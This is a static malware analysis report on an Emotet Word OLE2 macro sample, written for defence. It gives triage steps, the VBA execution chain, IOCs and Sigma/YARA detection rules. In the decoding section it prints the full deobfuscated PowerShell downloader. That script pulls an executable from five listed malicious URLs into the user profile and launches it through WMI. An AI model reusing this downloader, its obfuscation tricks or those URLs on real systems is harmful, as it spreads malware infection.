Static analysis of an Emotet OLE macro and WMI downloader

Malware Analysis

Executive Summary

sample.bin is a 177,195-byte legacy Microsoft Word OLE2 Compound Document containing obfuscated VBA macros and a hidden UserForm payload. Static analysis shows that opening the document triggers Document_open (diakzouxchouz), which calls boaxvoebxiotqueb(govwiahtoozfaid) to build a WMI Win32_Process object, strip a repeated delimiter (2342772g3&*gs7712ffvs626fq) from a UserForm control property in stream 34 and pass the resulting command string to Win32_Process.Create.

Decoding the embedded Base64 payload from stream 34 reveals a PowerShell downloader loop that configures TLS protocols, instantiates System.Net.WebClient, cycles through five hardcoded URLs (starting with https://haoqunkong.com/bn/s9w4tgcjl_f6669ugu_w4bj) to write %USERPROFILE%\337.exe, checks that the downloaded file is at least 24,751 bytes, and launches it via WMI (Win32_Process.Create). The combination of UserForm staging, delimiter splitting, WMI process creation, and a multi-URL PowerShell downloader aligns with classic Emotet macro loader behavior. Because this analysis stayed strictly offline on sample.bin alone, no live network connections or endpoint executions were observed—only static artifacts extracted directly from the file.

Initial Triage

Before inspecting macro code, basic file identity and OLE metadata checks establish what sample.bin is and how it was packaged.

Here are the baseline file and OLE metadata details for sample.bin:

  • File & Size: sample.bin (177,195 bytes)
  • Hashes
    • MD5: ea50158bcef30d51e298846c056649c3
    • SHA-1: 6cf0cf4e216bf318b36017dfd168f561bd5f77a4
    • SHA-256: d50d98dcc8b7043cb5c38c3de36a2ad62b293704e3cf23b0cd7450174df53fee
  • File & OLE Properties
    • Format: Composite Document File V2 Document (Microsoft Word 97–2003 OLE2 format), unencrypted, code page 1252
    • Document Metadata: Created and last saved on 2020-07-22 23:12:00 from Normal.dotm via Microsoft Office Word (1 page, 3 words, 21 characters, 0 external relationships)
sha256sum sample.bin && sha1sum sample.bin && md5sum sample.bin && stat -c "%s %n" sample.bin && file sample.bin
oleid sample.bin
olemeta sample.bin

oleid flags VBA Macros as HIGH risk (Yes, suspicious), confirms XLM Macros are absent (No), and shows 0 external relationships—indicating that the payload is embedded inside the document’s macro and form streams rather than referenced externally.

OLE2 Stream Layout

Legacy Office documents organize content and macro structures inside an OLE2 container made up of storages and streams. Running oledump.py maps out the container so anomalous stream sizes and macro modules stand out immediately.

oledump.py sample.bin

Here are the key streams in sample.bin that stand out during container triage:

  • Stream 13 (M, 1,367 bytes — Macros/VBA/diakzouxchouz): Holds the Document_open entry routine that starts execution when the document is opened
  • Stream 15 (M, 5,705 bytes — Macros/VBA/govwiahtoozfaid): Contains the main obfuscated VBA logic that builds WMI objects and retrieves the payload string
  • Stream 16 (m, 1,187 bytes — Macros/VBA/roubhaol): Represents the roubhaol UserForm module (attributes without standalone macro lines), paired with the Macros/roubhaol/* form streams (17–36)
  • Stream 34 (15,164 bytes — Macros/roubhaol/i09/o): Immediately notable because it holds 15,164 bytes of form control data while sibling o streams (22, 25, 30, 33) are 0 bytes
  • Stream 5 (101,483 bytes — Data): The largest stream in the document; it sits outside the macro and UserForm execution chain examined here

Macro Execution Chain, P-Code & De-obfuscation

Running olevba extracts the VBA source code, decompiled P-code listing, UserForm variables and strings, and suspicious indicators.

olevba --docode sample.bin

Automatic Entry Point

Execution starts in diakzouxchouz.cls (stream 13), which hooks Word’s Document_open event and immediately calls boaxvoebxiotqueb:

Private Sub _
Document_open()
boaxvoebxiotqueb
End Sub

String Reassembly & WMI Execution (govwiahtoozfaid)

Threat actors frequently stash payloads inside UserForm properties—such as ControlTipText—because UI control properties blend into form metadata and are less obvious than plain strings in code. Inside govwiahtoozfaid.bas (stream 15), boaxvoebxiotqueb surrounds its core logic with dead Do While ... DoEvents loops and unused Replace$ calls while carrying out four main steps:

  1. Builds the WMI moniker (deulsaocthuul): Passes haothkoebtheil through juuvzouchmiopxeox, which splits on "2342772g3&*gs7712ffvs626fq" and joins the segments back together to form "winmgmts:" + gooykadheoj + "win32_process" (where gooykadheoj evaluates to "\" via Chr(roubhaol.Zoom + Int(5 * 3)))
  2. Instantiates WMI & helper object: Calls CreateObject(deulsaocthuul) to obtain a Win32_Process interface and calls luumlaud(queegthaen) to instantiate a secondary object and set .showwindow
  3. Extracts the command string (geulgelquuuj): Reads roubhaol.gaoddaicsauktheb.Pages(10 / 10).ControlTipText (stored in stream 34) and passes it through juuvzouchmiopxeox to strip "2342772g3&*gs7712ffvs626fq"
  4. Spawns the process: Invokes tiajriokchaoy.Create(geulgelquuuj, kaenhaig, deavjoajsear)—using Win32_Process.Create to launch the de-delimited command string (powershell -e <Base64>)

P-Code vs. Source Mismatch (VBA Stomping)

olevba flags VBA Stomping because the decompiled VBA_P-code.txt listing diverges from the extracted VBA source text—showing scrambled function headers (such as Function Document_open() appearing in govwiahtoozfaid) and mismatched identifiers. While P-code detection can have false positives or decompiler quirks, mismatches between source and P-code are a classic indicator of macro tampering designed to complicate static analysis.

Extracting & Decoding the PowerShell Payload from Stream 34

Dumping stream 34 (Macros/roubhaol/i09/o) with oledump.py shows raw form control bytes and tab labels (Page1O3G, Page2O3G, Tab3, Tab4, Tahoma) surrounding a delimiter-fragmented command string:

oledump.py sample.bin -s 34 -d > powershell_evidence.txt
...2342772g3&*gs7712ffvs626fq-2342772g3&*gs7712ffvs626fqe2342772g3&*gs7712ffvs626fq JABsAG2342772g3&*gs7712ffvs626fqkAZQBj...

Removing 2342772g3&*gs7712ffvs626fq leaves powershell -e followed by a UTF-16LE Base64 string beginning with JABsAG.... Because UTF-16LE pairs each ASCII character with a 0x00 high byte, Base64 chunks contain frequent A characters (such as JABsAG for $l in UTF-16LE). Decoding the cleaned Base64 string as UTF-16LE recovers the exact PowerShell payload embedded in the stream:

$liechrouhwuw='vuacdouvcioxhaol';[Net.ServicePointManager]::"SE`cuRiTy`PRO`ToC`ol" = 'tls12, tls11, tls';$deichbeudreir = '337';$quoadgoijveum='duuvmoezhaitgoh';$toehfethxohbaey=$env:userprofile+'\'+$deichbeudreir+'.exe';$sienteed='quainquachloaz';$reusthoas=.('n'+'ew-ob'+'ject') nEt.weBclIenT;$jacleewyiqu='https://haoqunkong.com/bn/s9w4tgcjl_f6669ugu_w4bj/*https://www.techtravel.events/informationl/8lsjhrl6nnkwgyzsudzam_h3wng_a6v5/*http://digiwebmarketing.com/wp-admin/72t0jjhmv7takwvisfnz_eejvf_h6v2ix/*http://holfve.se/images/1ckw5mj49w_2k11px_d/*http://www.cfm.nl/_backup/yfhrmh6u0heidnwruwha2t4mjz6p_yxhyu390i6_q93hkh3ddm/'."s`PliT"([char]42);$seccierdeeth='duuzyeawpuaqu';foreach($geersieb in $jacleewyiqu){try{$reusthoas."dOWN`loA`dfi`Le"($geersieb, $toehfethxohbaey);$buhxeuh='doeydeidquaijleuc';If ((.('Get-'+'Ite'+'m') $toehfethxohbaey)."l`eNGTH" -ge 24751) {([wmiclass]'win32_Process')."C`ReaTe"($toehfethxohbaey);$quoodteeh='jiafruuzlaolthoic';break;$chigchienteiqu='yoowveihniej'}}catch{}}$toizluulfier='foqulevcaoj'

What the Decoded PowerShell Script Does Once Invoked

When Win32_Process.Create launches the decoded PowerShell script, the script performs the following stages:

  • Junk String Assignments: Variables like $liechrouhwuw, $quoadgoijveum, $sienteed, $seccierdeeth, $buhxeuh, $quoodteeh, $chigchienteiqu, and $toizluulfier hold unused strings to pad the script
  • TLS & WebClient Setup: Sets [Net.ServicePointManager]::SecurityProtocol (obfuscated via backticks and quotes) to 'tls12, tls11, tls', and instantiates System.Net.WebClient via string concatenation ('n'+'ew-ob'+'ject')
  • Drop Path & URL List: Constructs $env:userprofile\337.exe and splits a *-delimited ([char]42) string into five candidate download URLs:
    • https://haoqunkong.com/bn/s9w4tgcjl_f6669ugu_w4bj
    • https://www.techtravel.events/informationl/8lsjhrl6nnkwgyzsudzam_h3wng_a6v5
    • http://digiwebmarketing.com/wp-admin/72t0jjhmv7takwvisfnz_eejvf_h6v2ix
    • http://holfve.se/images/1ckw5mj49w_2k11px_d
    • http://www.cfm.nl/_backup/yfhrmh6u0heidnwruwha2t4mjz6p_yxhyu390i6_q93hkh3ddm/
  • Size Validation & WMI Execution: Loops through the URLs inside a try/catch block, calls DownloadFile to %USERPROFILE%\337.exe, checks that the resulting file size is at least 24,751 bytes (-ge 24751), and executes %USERPROFILE%\337.exe using ([wmiclass]'win32_Process').Create(...) before breaking out of the loop

MITRE ATT&CK Mapping & Indicators (IOCs)

Mapped strictly to static artifacts observed in sample.bin and its decoded payload:

  • T1204.002 (User Execution: Malicious File): Opening the Word document and enabling macros initiates execution
  • T1059.001 (Command and Scripting Interpreter: PowerShell): The de-delimited command invokes powershell -e <Base64> and runs the downloader script
  • T1027 (Obfuscated Files or Information): Uses ControlTipText staging, repeated delimiter padding (2342772g3&*gs7712ffvs626fq), junk code/loops, UTF-16LE Base64 encoding, and PowerShell backtick/string-concatenation obfuscation
  • T1105 (Ingress Tool Transfer): Decoded PowerShell script uses Net.WebClient.DownloadFile to retrieve %USERPROFILE%\337.exe
  • T1047 (Windows Management Instrumentation): Uses WMI (Win32_Process.Create) in both the macro and decoded PowerShell script to spawn processes

Indicators of Compromise

  • Hashes
    • SHA-256: d50d98dcc8b7043cb5c38c3de36a2ad62b293704e3cf23b0cd7450174df53fee
    • SHA-1: 6cf0cf4e216bf318b36017dfd168f561bd5f77a4
    • MD5: ea50158bcef30d51e298846c056649c3
  • Macro & Container Artifacts: Document_open (diakzouxchouz), boaxvoebxiotqueb (govwiahtoozfaid), UserForm roubhaol, stream 34 (Macros/roubhaol/i09/o), delimiter 2342772g3&*gs7712ffvs626fq
  • Dropped Filename & Size Gate (Static Payload Only): %USERPROFILE%\337.exe (>= 24,751 bytes)
  • Extracted Domains & URLs (Static Payload Only — Not Contacted Live)
    • haoqunkong.com — https://haoqunkong.com/bn/s9w4tgcjl_f6669ugu_w4bj
    • www.techtravel.events — https://www.techtravel.events/informationl/8lsjhrl6nnkwgyzsudzam_h3wng_a6v5
    • digiwebmarketing.com — http://digiwebmarketing.com/wp-admin/72t0jjhmv7takwvisfnz_eejvf_h6v2ix
    • holfve.se — http://holfve.se/images/1ckw5mj49w_2k11px_d
    • www.cfm.nl — http://www.cfm.nl/_backup/yfhrmh6u0heidnwruwha2t4mjz6p_yxhyu390i6_q93hkh3ddm/

Refined Detection Rules: Sigma & YARA

Sigma Rule (Word + Encoded PowerShell Execution)

This rule looks for winword.exe spawning powershell.exe or pwsh.exe with encoded command switches (-e, -ec, -enc, -encodedcommand). In production tuning, keep in mind that attackers sometimes vary flag spacing or casing (such as powershell -e in the static payload) and that WMI-spawned children may occasionally appear with intermediate service/WMI parents depending on telemetry collection—so pairing process-creation alerts with PowerShell Script Block logging provides stronger visibility once decoded.

title: Microsoft Word Spawning Encoded PowerShell Process
id: 6c9f4b2a-8d71-4e35-9a12-3b7e5c018d44
status: experimental
description: Detects Microsoft Word spawning PowerShell with an encoded command argument, consistent with macro downloader execution chains.
author: shun
date: 2026/12/04
references:
    - https://attack.mitre.org/techniques/T1204/002/
    - https://attack.mitre.org/techniques/T1059/001/
    - https://attack.mitre.org/techniques/T1047/
logsource:
    category: process_creation
    product: windows
detection:
    selection_parent:
        ParentImage|endswith: '\winword.exe'
    selection_child:
        Image|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
        CommandLine|contains:
            - ' -e '
            - ' -ec '
            - ' -enc '
            - ' -encodedcommand '
    condition: selection_parent and selection_child
falsepositives:
    - Legitimate enterprise Word add-ins or automation scripts invoking encoded PowerShell
level: high

YStatic ARA Rule (Static OLE2 Macro + WMI + UserForm/Delimiter/Base64 Loader)

This YARA rule targets OLE2 Compound Documents containing Document_open, WMI Win32_Process / CreateObject indicators, and at least one staging or encoding marker found in sample.bin (ControlTipText, the delimiter 2342772g3&*gs7712ffvs626fq, or the UTF-16LE Base64 prefix JABsAG).

rule OLE_Macro_WMI_UserForm_Encoded_PS_Loader
{
    meta:
        author = "shun"
        date = "2026-12-04"
        description = "Static detection for OLE2 documents combining Document_open, WMI Win32_Process/CreateObject logic, and UserForm/delimiter/Base64 PowerShell staging."
        sample_sha256 = "d50d98dcc8b7043cb5c38c3de36a2ad62b293704e3cf23b0cd7450174df53fee"
        tlp = "CLEAR"

    strings:
        $ole_magic = { D0 CF 11 E0 A1 B1 1A E1 }
        $autoexec = "Document_open" nocase
        $create_obj = "CreateObject" ascii wide nocase
        $wmi_moniker = "winmgmts:" ascii wide nocase
        $wmi_class = "win32_process" ascii wide nocase
        $form_prop = "ControlTipText" ascii wide
        $delimiter = "2342772g3&*gs7712ffvs626fq" ascii wide
        $b64_ps_prefix = "JABsAG" ascii wide

    condition:
        $ole_magic at 0 and
        $autoexec and
        $wmi_class and
        ($create_obj or $wmi_moniker) and
        ($form_prop or $delimiter or $b64_ps_prefix)
}

References